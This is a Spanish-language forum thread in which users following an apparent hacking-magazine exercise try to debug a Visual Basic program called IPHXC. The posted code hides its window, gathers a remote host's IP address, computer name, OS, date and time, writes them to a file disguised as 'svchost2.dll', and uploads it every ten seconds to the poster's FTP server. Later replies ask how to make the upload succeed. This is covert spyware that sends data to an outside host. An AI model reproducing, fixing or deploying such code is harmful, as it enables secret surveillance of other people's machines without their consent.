[Revistas HXC] No me funciona el IPHXC

[Erqox]

Muy buenas a todos, estoy haciendo las prácticas de las revistas HXC, y estoy intentando terminar el programa IPHXC, k te manda la IP, el nombre del pc y el SO k utiliza un host remoto a un server FTP k tu le hayas indicado.

Creo k lo he hecho todo bien, y en teoría cada 10 s me tendría que mandar a un server ftp un archivo con esos datos, pero no lo hace, únicamente me lo crea en la carpeta donde está alojado el proyecto. LO he revisado muchas veces y parece que too está bien, a ver si alguien conj conocimienos me pudiese ayudar.

Gracias de antemano, ahí va el código:

Código [Seleccionar] Expandir

Dim Ti 'declaramos la variable

Private Sub Form_Load()

On Error GoTo Error 'Hacemos k salte a "Error:"

Form1.Visible = False 'Hacemos k sea "invisible" ^^

Timer1.Interval = 1000  'El timer se completa en 1 s.
Ti = 0  'Ti al principio es igual a 0

Error:

End Sub


Private Sub Command1_Click()

On Error GoTo Error 'Hacemos k salte a "Error:"

Ti = Ti + 1 'le sumamos 1
Label1.Caption = Ti 'hacemos que label muestre en el caption el valor de Ti

If Ti = 10 Then 'Si Ti es igual a 10 haz esto, sino sigue el programa

Open ("svchost2.dll") For Output As #1 'acción a ejecutar si se cumple la condición.

Print #1, "Ip del host", Winsock1.LocalIP   'IP del host
Print #1, "Nombre del host", Winsock1.LocalHostName  'Nombre del host
Print #1, "SO del host", SysInfo1.OSPlatform 'V. de win2 del host
Print #1, Date 'Fecha
Print #1, Time 'HOra

Close #1

Inet1.Execute "ftp://xxxxx:xxxxxx@erqox.iespana.es/", "PUT svchost2.dll" & Winsock.LocalHostName & ".txt" 'Hacemos que nos mande el archivo a nuestra cuenta FTP

Ti = 0 'Hacemos que Ti vuelva a ser 0


End If  'Fin del bucle de decisión.

Error:

End Sub

Private Sub Timer1_Timer()

On Error GoTo Error 'Hacemos k salte a "Error:"

Call Command1_Click    'Llama al command1 cuando se complete el timer

Error:

End Sub


[SKL (orignal)]

estaria re bueno que pongas la etiqueta CODE!!! para visualizar el codigo

[Erqox]

Perdon , es verdad  ahora edito

[pedrodf007]

Erqox yo tengo precisamente el mismo problema que vos, me podrias decir como lo solucionaste?
te agradeceria que me des una mano porque me estoy quemando la cabeza con este ejercicio

[mariana_87]

decime algo el archivo te lo crea sin contenido no?

[pedrodf007]

el executable a mi me lo crea con el codigo tal cual esta en la revista y cuando lo executo crea el archivo en la pc y tambien se conecta con el servidor ftp pero no le sube el archivo, ese es mi problema... no saben por que puede ser que no le suba el archivo??? le doy permisos completos de escritura y demas a todas las carpetas pero no lo sube... alguien sabe que puede ser????

[mariana_87]

eso es porque tenes un sistema actualizado , ese codigo de esa revista es viejo , no te va servir para subir archivos, busca hay muchas maneras de subir archivos que si funcionan todavia.